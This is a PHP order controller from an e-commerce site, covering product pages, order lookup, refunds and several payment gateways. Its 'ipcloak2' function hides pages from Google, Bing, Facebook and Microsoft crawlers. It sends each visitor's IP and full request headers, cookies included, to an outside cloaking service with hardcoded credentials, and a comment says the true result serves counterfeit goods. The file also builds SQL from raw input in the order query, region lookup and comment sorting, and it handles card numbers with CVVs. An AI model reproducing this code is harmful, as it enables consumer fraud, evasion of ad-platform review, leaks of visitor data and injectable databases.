File: /www/wwwroot/ww.snodshop.com/Home/Lib/Action/OrderAction.class.php
<?php
defined('THINK_PATH') OR exit();
function ipcloak2()
{
$jsonData = array(); // 初始化接口发送数据
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { // 使用cloudflare 转发的IP地址
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
} else {
if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
$ip = getenv('HTTP_CLIENT_IP');
} elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
$ip = getenv('REMOTE_ADDR');
} elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
$ip = $_SERVER['REMOTE_ADDR'];
}
}
$boolean = true;
$hostname = gethostbyaddr($ip);
if (!empty($hostname)) {
if (is_numeric(stripos($hostname, 'google')) || is_numeric(stripos($hostname, 'bing')) || is_numeric(stripos($hostname, 'facebook')) || is_numeric(stripos($hostname, 'microsoft'))) {
$boolean = false;
}
}
function browser_headers()
{
$headers = array();
foreach ($_SERVER as $name => $value) {
if (preg_match('/^HTTP_/', $name)) {
// convert HTTP_HEADER_NAME to header-name
$name = strtr(substr($name, 5), '_', '-');
$name = strtolower($name);
$headers[$name] = $value;
}
}
return $headers;
}
if ($boolean) {
$country = 'MY,SG,TW,HK,MO'; // 根据您的实际需要填写国家的iso_code_2代码, 比如设置 $country = 'US,GB';
// 更多国家的iso_code_2代码,请不要在网上随意查找,以免跟我们接口的有误差,请务必严格从此链接获取:http://www.i3rapp.com/iplooking/country/
$headers = browser_headers();
$visit_domain = str_replace('www.', '', $_SERVER['HTTP_HOST']); // 当前网站域名
$jsonData['id'] = 'BAJCmz';
$jsonData['ip'] = $ip;
$jsonData['country'] = $country;
$jsonData['domain'] = $visit_domain;
$jsonData['referer'] = $_SERVER['HTTP_REFERER'];
$jsonData['headers'] = json_encode($headers);
$ch = curl_init('https://www.network-api.com/api/cloak');
curl_setopt($ch, CURLOPT_USERPWD, "13144460275:123456");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($jsonData));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$return = curl_exec($ch);
$return = json_decode($return, true);
$boolean = $return['result']; // 返回true 访问仿品,返回false 访问正品
}
return $boolean;
}
class OrderAction extends akmallAction {
public function _initialize(){
parent::_init();
}
public function index($id,$tpl='index'){
if(empty($id) ||!ctype_alnum($id))$this->error(lang('error'));
$ipcloak = $this->ipcloak($id);
if($ipcloak['status']=='true'){
$url = $ipcloak['url'];
if(ctype_alnum($url)){
$id = $url;
}else{
header('location:'.$url);exit;
}
}
global $info;
$info = M('Item')->where(array('sn'=>$id))->find();
if(empty($info) ||$info['is_delete']==1) $this->error(lang('empty_item'));
if(!empty($info['facebook_pixel_id']) &&!isset($_GET['fbpid'])){
$fbpid = $info['facebook_pixel_id'];
$pixelid = explode(',',$fbpid);
session('fbpid',$fbpid);
$num = count($pixelid);
$pixel_fbq = '';
$pixel_noscript = '';
for($i = 0;$i <$num;$i++){
$pixel_fbq = $pixel_fbq ."fbq('init', '".$pixelid[$i]."'); ";
$pixel_noscript = $pixel_noscript.'<noscript><img height="1" width="1" style="display:none" src="https://www.facebook.com/tr?id='.$pixelid[$i].'&ev=PageView&noscript=1" /></noscript> ';
}
session("pixel_fbq",$pixel_fbq);
session("pixel_noscript",$pixel_noscript);
}
if(!empty($info['redirect_url'])){
header("location:".$info['redirect_url']);exit;
}else{
$domains= array_filter(explode("<br />",nl2br($this->akmallConfig['redirect_domains'])));
if($_SERVER['HTTP_HOST']==$this->akmallConfig['main_domain'] &&$tpl=='detail'&&$domains){
$redirect = trim($domains[array_rand($domains)].$_SERVER['REQUEST_URI']);
header("location:".$redirect);exit;
}
}
$template = getCache('ItemTemplate',array('id'=>$info['id']),true);
$template['extend'] = unserialize($template['extend']);
$template['color'] = json_decode($template['color'],true);
if(isset($_GET['theme'])) $template['template']=str_replace('-','/',$_GET['theme']);
if($tpl=='detail'){
$_GET['page'] = 'detail';
$tpl = file_exists(TMPL_PATH.'akmall/'.$template['template'].'/detail.html')?"akmall/{$template['template']}/detail":'Order/detail';
}else{
$_GET['page'] = 'single';
$info['content'] = "{[akmallOrder]}";
$tpl = "Order/".$tpl;
}
$_GET['id'] = $id;
import("Home.akmall.akmallTags");
$info = akmallTags::akmall($info);
if($this->akmallConfig['is_encode']){
$info['content'] = '<script tyle="text/javascript" src="'.$this->akmallHost.'Public/akmall/seajs/akmall/base64.js?v='.AKMALL_VERSION.'"></script><script tyle="text/javascript">var content="akmal'.base64_encode($info['content']).'";var b = new Base64();document.write(b.decode(content));</script>';
}
// file_put_contents('info.txt', json_encode($info));
$this->assign('template',$template);
$this->assign('info',$info);
// 获取用户最后一次下单信息 Jerry
$order = M('Order')->where(array('user_id'=>$_SESSION['user']['id'] , 'item_sn'=>$id))->find();
// 计算下单距离至今时间差
$this->assign('time_diff',time() - $order['add_time']);
if(isset($_GET['buildHtml'])){
$id = intval($_GET['uid'])<=1?$id:$id.'-'.$_GET['uid'];
$html = $this->akmallHost.$this->akmallConfig['html_file'].$id.C('HTML_FILE_SUFFIX');
$this->assign('thisUrl',$html);
$this->buildHtml($id,$this->akmallConfig['html_file']?$this->akmallConfig['html_file']:'./',$tpl);
header("location:".$html);
}else{
$html = $this->host.urlencode($_SERVER['REQUEST_URI']);
$this->assign('thisUrl',$html);
$this->display($tpl);
}
}
public function akmallBooking(){
$_POST = $_REQUEST;
if(isset($_POST['name']))$_POST['name'] = strFilter($_POST['name']);
$_POST['sign'] = createSign($_POST,C('akmall_KEY'));
$result = R('Api/akmallBooking',array('data'=>$_POST));
$data = array();
if($result['status']==1){
$data = array('order_id'=>$result['data']['order_id'],'order_no'=>$result['data']['order_no'],'total_price'=>$result['data']['total_price']);
}else{
file_put_contents('./Err.txt',var_export($result,true).date("Y-m-d h:i:sa").PHP_EOL,FILE_APPEND);
}
if(isset($_REQUEST['callback'])){
$ret = array('data'=>$data,'info'=>$result['message'],'status'=>$result['status']);
$this->ajaxReturn($ret,'jsonp');exit;
}
if(IS_AJAX){
$this->ajaxReturn($data,$result['message'],$result['status']);
}else{
if($result['status']==1){
header("location:".U('Order/pay',array('order_no'=>$data['order_no'])));
}else{
$this->error($result['message']);
}
}
}
public function getakmallPrice(){
$payment = explode('-',$_POST['payment']);
$data = array(
'sn'=>$_POST['sn'],
'quantity'=>(int)$_POST['quantity'],
'item_params'=>trim($_POST['params']),
'payment'=>$payment[0],
);
$data['sign'] = createSign($data,C('akmall_KEY'));
$result = R('Api/getakmallPrice',array('data'=>$data));
$this->ajaxReturn($result,'success',1);
}
public function query(){
if(IS_POST){
$kw = strFilter($_POST['kw']);
$Model = M('Order');
$Item = M('Item');
$OrderLog = M('OrderLog');
$status = C('ORDER_STATUS');
$where = "mobile='{$kw}' OR order_no='{$kw}' OR name='{$kw}'";
$orders = $Model->where($where)->order('id desc')->select();
$list = array();
if($orders){
foreach($orders as $li){
$item_extends = json_decode($li['item_extends'],true);
$itemExtends = '';
foreach($item_extends as $k=>$v){
if(strstr($k,'||')){
$k= explode('||',$k);
$k= $k[0];
}
if(is_array($v)){
foreach($v as $key=>$val){
if(strstr($v[$key],'||')){
$v[$key]= explode('||',$val);
$v[$key]= $v[$key][0];
}
}
}else{
if(strstr($v,'||')){
$v= explode('||',$v);
$v= $v[0];
}
}
$itemExtends.=$k.lang('colon').(is_array($v)?implode(' ',$v):$v)."<br>";
}
if($li['status']==3){
$items = $Item->field('is_auto_send,send_content')->where(array('id'=>$li['item_id']))->find();
}else{
$items = array( 'is_auto_send'=>0,'send_content'=>'',);
}
if(strstr($li['item_params'],'#')){
$li['item_params']= explode('#',$li['item_params']);
foreach($li['item_params'] as $itemkey=>$itemval){
if(strstr($li['item_params'][$itemkey],'||')){
$li['item_params'][$itemkey]= explode('||',$itemval);
$li['item_params'][$itemkey]= $li['item_params'][$itemkey][0];
}
}
$li['item_params']= implode(' ',$li['item_params']);
}else{
if(strstr($li['item_params'],'||')){
$li['item_params']= explode('||',$li['item_params']);
$li['item_params']= $li['item_params'][0];
}
}
$list[] = array(
'title'=>$li['item_name'],
'order_no'=>$li['order_no'],
'order_status'=>(int)$li['status'],
'status'=>strip_tags($status[$li['status']]),
'payment'=>$li['payment'],
'quantity'=>$li['quantity'],
'price'=>$li['total_price'],
'name'=>$li['name'],
'params'=>$li['item_params'],
'itemExtends'=>$itemExtends,
'datetime'=>substr($li['datetime'],0,10),
'address'=>$li['region'].$li['address'],
'time'=>date('Y-m-d H:i:s',$li['add_time']),
'express'=>experss($li['delivery_name'],$li['delivery_no']),
'qq'=>$li['qq'],
'is_auto_send'=>$items['is_auto_send'],
'send_content'=>nl2br($items['send_content']),
);
}
}
if($list){
$this->ajaxReturn(array('title'=>'query','list'=>$list),'true',1);
}else{
$this->ajaxReturn(array('title'=>'query','list'=>null),lang('empty'),0);
}
}else{
$this->display();
}
}
public function apply(){
if(IS_POST){
$order_no = strFilter($_POST['order_no']);
$mobile = strFilter($_POST['mobile']);
$Model = M('Order');
$where = array('order_no'=>$order_no,'mobile'=>$mobile);
$order = $Model->where($where)->field('id,status')->find();
if(empty($order)){
$msg = lang('empty');
}else{
switch($order['status']){
case '1':
$msg = lang('applySuccess');
$data = array(
'order_id'=>$order['id'],
'status'=>8,
'remark'=>htmlspecialchars($_POST['refund_payment'].' , '.$_POST['refund_account']),
);
$data['sign'] = createSign($data,C('akmall_KEY'));
$rs = http($this->akmallHost."index.php?m=Api&a=akmallUpdateStatus",'POST',array('data'=>$data));
break;
case '8':$msg = lang('applyIn');break;
default: $msg = lang('status_err');
}
}
$this->ajaxReturn(1,$msg,1);
}else{
$this->display();
}
}
public function pay(){
$order_no = strFilter($_GET['order_no']);
$order = M('Order')->where(array('order_no'=>$order_no))->find();
if($order['status']!=0){
$this->redirect('Order/result',array('order_no'=>$order['order_no']));
}
$payment = isset($_GET['payment'])?$_GET['payment']:$order['payment'];
$subpayment = explode('-',$payment);
$redirectUrl = $order['url'];
$options = json_decode($this->akmallConfig['order_options'],true);
if(in_array($order['order_page'],array('single','detail'))){
$template = M('ItemTemplate')->where(array('id'=>$order['item_id']))->field('redirect_uri,options')->find();
if($template){
$redirectUrl = $template['redirect_uri']=='1'?$order['referer']:$template['redirect_uri'];
$options = json_decode($template['options'],true);
}
}
$this->assign('redirectUrl',$redirectUrl);
$this->assign('order',$order);
switch ($subpayment[0]) {
case 'alipay':
$this->alipayInWx($order);
$this->display('alipay');
$this->payAlipay($order);
break;
case 'codepay':
Vendor('codepay.codepay');
$this->akmallConfig['notify_url'] = $this->akmallHost."Api/codepay.php";
$this->akmallConfig['return_url'] = $this->akmallHost."index.php?m=Order&a=result&order_no={$order['order_no']}";
$codepay = new codepay($this->akmallConfig);
$pay = $codepay->create_order($order);
$this->assign('pay',json_decode($pay,true));
$this->assign('payJson',$pay);
$this->display('codepay');
break;
case 'paypay':
$api_url = 'https://www.paypayzhu.com/api/pay';
$api_user = $this->akmallConfig['paypay_user'];
$api_key = $this->akmallConfig['paypay_key'];
$type = $subpayment[1];
$price = $order['total_price'];
$order_id = $order['order_no'];
$order_info = trim($order['item_name']);
$redirect = $this->akmallHost."index.php?m=Order&a=result&order_no={$order['order_no']}";
$signature = md5($api_key.$api_user.$order_id.$order_info.$price.$redirect.$type);
$pay['api_user'] = $api_user;
$pay['price'] = $price;
$pay['type'] = $type;
$pay['redirect'] = $redirect;
$pay['order_id'] = $order_id;
$pay['order_info'] =$order_info;
$pay['signature'] = $signature;
$this->assign('pay',$pay);
$this->display('paypay');
break;
case 'wxpay':
if(isWeixin()==true &&in_array(2,json_decode($this->akmallConfig['wxpay_type'],true))){
$this->redirect('Order/payWxPayJsApi',array('order_id'=>$order['id']));exit;
}elseif(isWeixin()==false &&isMobile()==true &&in_array(2,json_decode($this->akmallConfig['wxpay_type'],true)) ){
$this->redirect('Order/payWxPayWap',array('order_id'=>$order['id']));exit;
}else{
$result = R('Api/payWxpay',array('data'=>$order));
if($result['return_code']=='FAIL'){
$this->error($result['return_msg']);
}else{
$this->assign('result',$result);
$this->display('payWxpay');
}
}
break;
case 'qrcode':
$qrcode = R('Api/payQrcode',array('data'=>$order));
$this->assign('qrcode',$qrcode);
$this->display('payQrcode');
break;
case '7':
$this->yunpay($order);
break;
case '8':
$this->display('alipay');
$link = M('Item')->where(array('id'=>$order['item_id']))->getField('link_pay_url');
header('location:'.$link);exit;
break;
case '9':
Vendor('aiyangPay.aiyangPay');
$aiyang = new aiyangPay($this->akmallConfig['ay_partner'],$this->akmallConfig['ay_key']);
$data = array(
'type'=>1007,
'total_price'=>$order['total_price'],
'out_trade_no'=>$order['order_no'].'-'.time(),
'notify_url'=>$this->akmallHost.'Api/aiyangpay.php',
'return_url'=>$this->akmallHost.'Api/aiyangpayCallbak.php',
'attach'=>$order['order_no'],
);
$payURl = $aiyang->getPayUrl($data);
header('location:'.$payURl);exit;
break;
case 'creaditcard':
$this->gleepay($order);
break;
default:$this->result($order);
}
}
public function payAlipay($order){
$this->assign('order',$order);
$this->display('payAlipay');
}
public function gleepay($order){
Vendor('gleepay.gleepay');
$Pay = new gleepay($this->akmallConfig);
$card = json_decode($order['creditcard'],true);
$os = '';
$brower = $Pay->getBrowser();
$browerLang = $Pay->getBrowserLang();
$ip = get_client_ip();
$acceptLang = $_SERVER ['HTTP_ACCEPT_LANGUAGE'];
$userAgent = $_SERVER ['HTTP_USER_AGENT'];
$webSite = $_SERVER ['HTTP_HOST'];
$newCookie = 'billCountry='.$order['country'];
$newCookie .= '&email='.$order['mail'];
$newCookie .= '&timeZone='.C('DEFAULT_TIMEZONE');
$newCookie .= '&orderNo='.$order ['order_no'];
$newCookie .= '&lang='.$browerLang;
$newCookie .= '&ip='.$ip;
$oldCookie = '';
if (isset ( $_COOKIE ['CARD_PAY_COOKIE'] )) {
$oldCookie = $_COOKIE ['CARD_PAY_COOKIE'];
$oldCookie = strlen ( $oldCookie ) >1000 ?substr ( $oldCookie,0,1000 ) : $oldCookie;
}
$newCookie = $newCookie .(empty ( $oldCookie ) ?"": '$$'.$oldCookie);
$newCookie = strlen ( $newCookie ) >1000 ?substr ( $newCookie,0,1000 ) : $newCookie;
setcookie ( "CARD_PAY_COOKIE",$newCookie,time () +21474836 );
$signSrc = $this->akmallConfig['creditcard_mid'] .$this->akmallConfig['creditcard_gateway'] .$order['order_no'] .L('currency') .$order['total_price'] .$card['num'] .$card ['year'] .$card ['month'] .$card ['cvv'] .$this->akmallConfig['creditcard_key'];
$signInfo = hash ( 'sha256',$signSrc );
$goodsInfo = $order['item_name'].'#,#'.$order['item_id'].'#,#'.$order['item_price'].'#,#'.$order['quantity'];
$country = L('default_country');
$data = array (
'merNo'=>$this->akmallConfig['creditcard_mid'],
'gatewayNo'=>$this->akmallConfig['creditcard_gateway'],
'orderNo'=>$order ['order_no'],
'orderAmount'=>$order ['total_price'],
'orderCurrency'=>L('currency'),
'shipFee'=>$order ['shipping_pricee2'],
'firstName'=>mb_substr($order['name'],0,1,'utf-8'),
'lastName'=>mb_substr($order['name'],1,20,'utf-8'),
'email'=>$order ['mail'],
'phone'=>$order ['mobile'],
'zip'=>$order ['zcode'],
'address'=>$order ['address'],
'city'=>$order ['city'],
'state'=>$order ['province'],
'country'=>$country,
'shipFirstName'=>mb_substr($order['name'],0,1,'utf-8'),
'shipLastName'=>mb_substr($order['name'],1,20,'utf-8'),
'shipPhone'=>$order ['mobile'],
'shipEmail'=>$order ['mail'],
'shipCountry'=>$country,
'shipState'=>$order ['province'],
'shipCity'=>$order ['city'],
'shipAddress'=>$order ['address'],
'shipZip'=>$order ['zcode'],
'returnUrl'=>$this->akmallHost.'Api/gleepayCallbak.php',
'notifyUrl'=>$this->akmallHost.'Api/gleepay.php',
'uniqueId'=>session_id(),
'signInfo'=>$signInfo,
'cardNo'=>$card['num'],
'cardSecurityCode'=>$card ['cvv'],
'cardExpireMonth'=>$card ['month'],
'cardExpireYear'=>$card ['year'],
'issuingBank'=>'',
'webSite'=>$webSite,
'ip'=>$ip,
'brower'=>$brower,
'browerLang'=>$browerLang,
'os'=>$os,
'timeZone'=>C('DEFAULT_TIMEZONE'),
'resolution'=>'',
'isCopyCard'=>0,
'goodsInfo'=>$Pay->string_replace ( $goodsInfo ),
'oldCookie'=>$Pay->string_replace ( $oldCookie ),
'newCookie'=>$Pay->string_replace ( $newCookie ),
'acceptLang'=>$Pay->string_replace ( $acceptLang ),
'userAgent'=>$Pay->string_replace ( $userAgent ),
'remark'=>$Pay->string_replace ( $order ['remark'] )
);
$result = $Pay->payment_submit ( $this->akmallConfig['creditcard_url'],http_build_query ( $data,'','&') );
$payXml = $Pay->xml_parser( $result );
$redirectUrl = $order['url'];
$options = json_decode($this->akmallConfig['order_options'],true);
if(in_array($order['order_page'],array('single','detail'))){
$template = M('ItemTemplate')->where(array('id'=>$order['item_id']))->field('redirect_uri,options')->find();
if($template){
if($template['redirect_uri']=='1'&&!empty($order['referer'])){
$redirectUrl = $order['referer'];
}elseif($template['redirect_uri']!='1'&&!empty($template['redirect_uri'])){
$redirectUrl = $template['redirect_uri'];
}
$options = json_decode($template['options'],true);
}
}
$this->assign('redirectUrl',$redirectUrl);
$this->assign('pay',$payXml);
$this->assign('order',$order);
$this->display('gleepay');
}
public function yunpay($order){
$yun_config['partner'] = $this->akmallConfig['yunpay_pid'];
$yun_config['key'] = $this->akmallConfig['yunpay_key'];
$seller_email = $this->akmallConfig['yunpay_email'];
$GLOBALS['i2ekeys']=$yun_config['key'];
Vendor('yunpay.lib.yun_md5#function');
$out_trade_no = $order['order_no'];
$subject = $order['item_name'];
$total_fee = $order['total_price'];
$body = $order['item_params'];
$nourl = $this->akmallHost.'Api/yunpay.php';
$reurl = $this->akmallHost.'Api/yunpayCallbak.php';
$orurl = '';
$orimg = '';
$parameter = array(
"partner"=>trim($yun_config['partner']),
"seller_email"=>$seller_email,
"out_trade_no"=>$out_trade_no,
"subject"=>$subject,
"total_fee"=>$total_fee,
"body"=>$body,
"nourl"=>$nourl,
"reurl"=>$reurl,
"orurl"=>$orurl,
"orimg"=>$orimg
);
$html_text = i2e($parameter,"支付进行中...");
echo $html_text;
}
public function payWxPayJsApi(){
$order_id = intval($_GET['order_id']);
$order = M('Order')->where(array('id'=>$order_id))->find();
$redirectUrl = $this->akmallHost."index.php?m=Order&a=payWxPayJsApi&order_id={$order_id}";
Vendor('wxPay.WxPay#JsApiPay');
WxPayConfig::setConfig($this->akmallConfig);
$JsApiPay = new JsApiPay();
$openid = $JsApiPay->GetOpenid($redirectUrl);
$total_price = $order['total_price']*100;
$title = $order['item_params']?$order['item_params']:$order['item_name'];
$input = new WxPayUnifiedOrder();
$input->SetOpenid($openid);
$input->SetBody($title);
$input->SetOut_trade_no($order['order_no'].'-'.time());
$input->SetTotal_fee($total_price);
$input->SetProduct_id($order['item_id']);
$input->SetAttach(L('akmallSystem'));
$input->SetTime_start(date("YmdHis"));
$input->SetTime_expire(date("YmdHis",time() +600));
$input->SetGoods_tag('akmall'.$order['order_no']);
$input->SetNotify_url($this->akmallHost."Api/wxPay.php");
$input->SetTrade_type("JSAPI");
$param = WxPayApi::unifiedOrder($input);
if(empty($param)){
$this->error('error');exit;
}
if($param['result_code']=='FAIL'){
$this->error($param['err_code_des']);exit;
}
$wxPayRequest = $param?$JsApiPay->GetJsApiParameters($param):array();
$this->assign('wxPayRequest',$wxPayRequest);
$this->assign('order',$order);
$this->assign('config',$this->akmallConfig);
$this->display('Order:payWxPayJsApi');
}
public function payWxPayWap(){
$order_id = intval($_GET['order_id']);
$order = M('Order')->where(array('id'=>$order_id))->find();
$redirectUrl = $this->akmallHost."Api/payWxPayH5.php?order_id={$order_id}";
Vendor('wxPay.WxPay#JsApiPay');
WxPayConfig::setConfig($this->akmallConfig);
$total_price = $order['total_price']*100;
$title = $order['item_params']?$order['item_params']:$order['item_name'];
$input = new WxPayUnifiedOrder();
$input->SetBody($title);
$input->SetOut_trade_no($order['order_no'].'-'.time());
$input->SetTotal_fee($total_price);
$input->SetProduct_id($order['item_id']);
$input->SetAttach(L('akmallSystem'));
$input->SetTime_start(date("YmdHis"));
$input->SetTime_expire(date("YmdHis",time() +300));
$input->SetGoods_tag('akmall'.$order['order_no']);
$input->SetNotify_url($this->akmallHost."Api/wxPay.php");
$input->SetTrade_type("MWEB");
$input->SetSpbill_create_ip(get_client_ip());
$param = WxPayApi::unifiedOrder($input);
if(strtoupper($param['return_code'])=='FAIL'){
$this->error($param['return_msg'],U('Order/result',array('order_no'=>$order['order_no'])));exit;
}else{
$this->assign('order',$order);
$this->assign('pay',$param);
$this->display('payWxPayWap');
}
}
public function result($order=array()){
$order_no = strFilter($_GET['order_no']);
if(empty($order) &&isset($_GET['order_no'])){
$order = M('Order')->where(array('order_no'=>$order_no))->find();
}
if(isset($_GET['order_no']) &&strstr($order_no,'_')){
$this->display('UserWap/paySuccess');exit;
}
$redirectUrl = $order['url'];
$options = json_decode($this->akmallConfig['order_options'],true);
if(in_array($order['order_page'],array('single','detail'))){
$template = M('ItemTemplate')->where(array('id'=>$order['item_id']))->field('redirect_uri,options')->find();
if($template){
if($template['redirect_uri']=='1'&&!empty($order['referer'])){
$redirectUrl = $order['referer'];
}elseif($template['redirect_uri']!='1'&&!empty($template['redirect_uri'])){
$redirectUrl = $template['redirect_uri'];
}
$options = json_decode($template['options'],true);
}
}
foreach($options as $k=>$opt){if(in_array($opt,array('salenum'))) unset($options[$k]);}
$this->assign('options',$options);
$this->assign('order',$order);
$this->assign('redirectUrl',$redirectUrl);
$this->display('result');
}
private function alipayInWx($data){
if(isWeixin()==true){
$this->assign('info',$data);
$this->display('Order:payInWx');exit;
}
}
public function orderQuery($order_no){
$order_no = strFilter($order_no);
if(strstr($order_no,'_')){
$no = explode('_',$order_no);
$status = M('User')->where(array('id'=>$no[0]))->getField('status');
$this->ajaxReturn(null,null,(int)$status);
}
$status = M('Order')->where(array('order_no'=>$order_no))->getField('status');
$this->ajaxReturn(null,null,(int)$status);
}
public function getComments(){
if(IS_POST){
$Model = M('Comments');
$item_id = intval($_POST['item_id']);
$currentPage = intval($_POST['currentPage']);
$page = intval($_POST['page']);
$order = isset($_POST['order'])?trim($_POST['order']):'id DESC';
$where = array('item_id'=>$item_id,'status'=>1);
$total = $Model->where($where)->count();
$list = $Model->where($where)->limit($currentPage,$page)->order($order)->select();
$count = count($list);
$data = array(
'list'=>$list,
'currentPage'=>$currentPage+$count,
'leftPage'=>$total-$currentPage-$count,
);
$this->ajaxReturn($data,1,1);
}
}
public function comment(){
if(IS_POST){
$item_id = intval($_POST['item_id']);
$name = strip_tags(trim($_POST['name']));
$mobile = strip_tags(trim($_POST['mobile']));
$content = strip_tags(trim($_POST['content']));
if(empty($name) ||mb_strlen($name,'utf-8')>5){$this->ajaxReturn('name',lang('invalid_realname'),0);}
if(empty($mobile)){$this->ajaxReturn('mobile',lang('invalid_mobile'),0);}
if(empty($content)){$this->ajaxReturn('content',lang('content_notempty'),0);}
$where = array('item_id'=>$item_id,'mobile'=>$mobile);
$order = M('Order')->where(array_merge($where,array('status'=>array('EGT',1))))->field('id,province')->find();
if(empty($order)){
$this->ajaxReturn('mobile',lang('commentErrorMessage'),0);
}
if(empty($order['province'])){
$str = http("http://ip.taobao.com/service/getIpInfo.php?ip=".get_client_ip());
$json = json_decode($str,true);
$address = $json['data']['region'];
}else{
$address = $order['province'];
}
$Comments = M('Comments');
$count = $Comments->where($where)->count();
if($count>=5){
$this->ajaxReturn('mobile',lang('TooMuchComment'),0);
}
$data = array(
'item_id'=>$item_id,
'status'=>0,
'mobile'=>$mobile,
'region'=>$address,
'name'=>$name,
'content'=>$content,
'add_time'=>date('Y-m-d'),
);
$Comments->add($data);
$this->ajaxReturn(1,lang('submit_success'),1);
}
}
public function getCode(){
$item_id = intval($_POST['item_id']);
$mobile = strFilter($_POST['mobile']);
$verify = $_POST['verify'];
$page = $_POST['page'];
if(isMobileNum($mobile)==false){$this->error(lang('pleaseInputMobile'));}
if(in_array($page,array('single','detail'))){
$options = M('ItemTemplate')->where(array('id'=>$item_id))->getField('options');
}else{
$options = $this->akmallConfig['order_options'];
}
$optionArr = json_decode($options,true);
if(in_array('verify',$optionArr)){
if(empty($verify)){$this->error(lang('pleaseInputCode'));}
if(md5($verify)!=$_SESSION['verify']){$this->error(lang('invalid_verify'));}
}
$code = randCode(4);
$rs = parent::send_sms($mobile,sprintf(L('smsCodeContent'),$code));
if(strtolower($rs['status'])=='1'||strtolower($rs['code'])=='0'){
$data = array(
'item_id'=>$item_id,
'mobile'=>$mobile,
'code'=>$code,
'type'=>1,
'status'=>0,
'add_time'=>time(),
);
$flag = M('Code')->add($data);
$this->success(lang('send_success'));
}else{
$this->error(lang('send_failure_colon'));
}
}
public function wx(){
if($this->akmallConfig['weixin_status']){
$url = urldecode(trim($_GET['url']));
Vendor('wxShare.jssdk');
$jssdk = new JSSDK($this->akmallConfig['weixin_appid'],$this->akmallConfig['weixin_appsecret']);
$signPackage = $jssdk->GetSignPackage($url);
echo json_encode($signPackage);
}
}
public function ipcloak($id){
$ipcloak_url = M('Item')->where(array('sn'=>$id))->getField('ipcloak_url');
if(empty($ipcloak_url)){
return array('status'=>false,'url'=>$ipcloak_url);
}
if(empty($this->akmallConfig['ipcloak_status']) ||empty($this->akmallConfig['ipcloak_username']) ||empty($this->akmallConfig['ipcloak_password']) ||empty($this->akmallConfig['ipcloak_countries'])){
return array('status'=>false,'url'=>$ipcloak_url);
}
// if(isset($_COOKIE['ip_access_token'])){
// $boolean = ($_COOKIE['ip_access_token']=='234553790')?true: false;
// }else{
// $jsonData = array();
// if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
// $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
// }else {
// if (getenv('HTTP_CLIENT_IP') &&strcasecmp(getenv('HTTP_CLIENT_IP'),'unknown')) {
// $ip = getenv('HTTP_CLIENT_IP');
// }elseif (getenv('HTTP_X_FORWARDED_FOR') &&strcasecmp(getenv('HTTP_X_FORWARDED_FOR'),'unknown')) {
// $ip = getenv('HTTP_X_FORWARDED_FOR');
// }elseif (getenv('REMOTE_ADDR') &&strcasecmp(getenv('REMOTE_ADDR'),'unknown')) {
// $ip = getenv('REMOTE_ADDR');
// }elseif (isset($_SERVER['REMOTE_ADDR']) &&$_SERVER['REMOTE_ADDR'] &&strcasecmp($_SERVER['REMOTE_ADDR'],'unknown')) {
// $ip = $_SERVER['REMOTE_ADDR'];
// }
// }
// $boolean = true;
// $hostname = gethostbyaddr($ip);
// if (!empty($hostname)) {
// if(is_numeric(stripos($hostname,'google')) ||is_numeric(stripos($hostname,'bing')) ||is_numeric(stripos($hostname,'facebook')) ||is_numeric(stripos($hostname,'microsoft'))) {
// $boolean = false;
// }
// }
// if($boolean) {
// $country = $this->akmallConfig['ipcloak_countries'];
// $visit_domain = str_replace('www.','',$_SERVER['HTTP_HOST']);
// $jsonData['ip'] = $ip;
// $jsonData['country'] = $country;
// $jsonData['domain'] = $visit_domain;
// $jsonData['geoedge'] = false;
// $ch = curl_init('http://www.i3rapp.com/api/ipdetect.json');
// curl_setopt($ch,CURLOPT_USERPWD,$this->akmallConfig['ipcloak_username'].":".$this->akmallConfig['ipcloak_password']);
// curl_setopt($ch,CURLOPT_POST,1);
// curl_setopt($ch,CURLOPT_TIMEOUT,120);
// curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($jsonData));
// curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
// $return = curl_exec($ch);
// if (!$return) {
// $boolean = true;
// }
// else {
// $return = json_decode($return,true);
// if (isset($return['result'])) {
// $boolean = $return['result'] ;
// }else {
// $boolean = true;
// }
// }
// }
// setcookie('ip_access_token',($boolean ?'234553790': '2017234553790'),time() +60 * 60 * 24 * 180,'/','',false);
// }
$boolean = ipcloak2();
$status = $boolean;
return array('status'=>$status,'url'=>$ipcloak_url);
}
function getRegion(){
$request = $_REQUEST;
$pid = intval($request['pid']);
$name = strFilter($request['name']);
$type = strFilter($request['type']);
$target = trim($request['target']);
$Region = M('Region');
if(empty($target)){
$where = "name='{$name}' AND item='{$type}'";
$info = $Region->where($where)->getField('info');
echo $info;
}else{
$map = "pid={$pid} AND item='{$type}'";
$list = $Region->field('id,name,info')->where($map)->select();
if($list){
foreach($list as &$li){$li['info']=json_decode($li['info'],true);}
$ret = array('status'=>1,'data'=>$list);
}else{
$ret = array('status'=>0,'data'=>'');
}
echo json_encode($ret);
}
}
}
?>